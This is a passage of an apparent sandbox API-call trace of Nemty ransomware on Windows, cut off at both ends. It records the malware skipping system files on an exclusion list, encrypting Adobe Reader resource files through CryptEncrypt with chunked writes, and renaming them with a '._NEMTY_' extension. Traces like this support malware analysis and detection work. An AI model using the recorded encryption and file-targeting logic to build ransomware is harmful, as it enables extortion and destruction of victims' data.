lpMultiByteStr="GBK-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0205.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0205.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0205.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0205.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0205.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0205.217] Sleep (dwMilliseconds=0x5) [0205.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2df70cd0, dwHighDateTime=0x1d561e8)) [0205.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2df70cd0, dwHighDateTime=0x1d561e8)) [0205.231] GetLastError () returned 0x5 [0205.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0205.232] GetLastError () returned 0x5 [0205.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0205.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.232] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0205.232] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0205.232] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0205.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0205.232] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="53Cwh2qv8tA9ZghM5MjH1r+171kboVrfF5UdNE67bbkTrYcS5/Uz77nEX6Pl1pkF\r\njzimECOGvJFD+q97qv6UiyGnlBjTkMp1xrOWewNBPzmLwN/KdBWnslud/sBrivYM\r\nBRQDOhyKzxB/9iWiwhVqJE8kM+7El10WqbJAEtw9mVB3ghzE8H1kCHtYFqV1TLmI\r\ni1peAJlC62OoIJr5OgV0G4CdMi/i8crRjFxqMkqwqWTy9kPwT1McnNpNHt0vQApw\r\nfaiEiGvwXor38STpXWyz6jgjlvqoa3hqSeOEdmnVwt7Yhb3brTBDGHiACJE81GK4\r\n6lWGEWnYFSgJaKEfcAgQFA==\r\n", pcchString=0x653e91c) returned 1 [0205.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0205.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0205.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0205.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0205.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0205.232] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0205.232] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0205.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0205.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.318] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.328] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.328] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.334] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.334] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0205.340] CloseHandle (hObject=0xffffffff) returned 0 [0205.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0205.340] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0205.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.340] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0205.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0205.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0205.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0205.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.341] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-h._nemty_kgobjgd_")) returned 0 [0205.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0205.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0205.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0205.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0205.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0205.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0205.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0205.341] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x39050, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-UCS2", cAlternateFileName="GBK-EU~2")) returned 1 [0205.341] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2=".") returned 1 [0205.341] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="..") returned 1 [0205.341] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="...") returned 1 [0205.341] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="windows") returned -1 [0205.341] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="$RECYCLE.BIN") returned 1 [0205.341] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="rsa") returned -1 [0205.341] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="NTDETECT.COM") returned -1 [0205.341] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="ntldr") returned -1 [0205.342] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="MSDOS.SYS") returned -1 [0205.342] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="IO.SYS") returned -1 [0205.342] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="boot.ini") returned 1 [0205.342] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="boot.ini") returned 1 [0205.342] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="AUTOEXEC.BAT") returned 1 [0205.342] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="ntuser.dat") returned -1 [0205.342] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="desktop.ini") returned 1 [0205.342] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="CONFIG.SYS") returned 1 [0205.342] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="RECYCLER") returned -1 [0205.342] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="BOOTSECT.BAK") returned 1 [0205.342] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="bootmgr") returned 1 [0205.342] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="programdata") returned -1 [0205.342] lstrcmpiW (lpString1="GBK-EUC-UCS2", lpString2="appdata") returned 1 [0205.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-UCS2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0205.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-UCS2", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK-EUC-UCS2", lpUsedDefaultChar=0x0) returned 12 [0205.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-UCS2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0205.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-UCS2", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK-EUC-UCS2", lpUsedDefaultChar=0x0) returned 12 [0205.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-UCS2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0205.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-UCS2", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK-EUC-UCS2", lpUsedDefaultChar=0x0) returned 12 [0205.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-UCS2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0205.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-UCS2", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK-EUC-UCS2", lpUsedDefaultChar=0x0) returned 12 [0205.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0205.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0205.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0205.342] Sleep (dwMilliseconds=0x5) [0205.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e0a17d0, dwHighDateTime=0x1d561e8)) [0205.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e0a17d0, dwHighDateTime=0x1d561e8)) [0205.356] GetLastError () returned 0x5 [0205.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0205.356] GetLastError () returned 0x5 [0205.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0205.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.356] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0205.356] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0205.357] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0205.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0205.357] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: 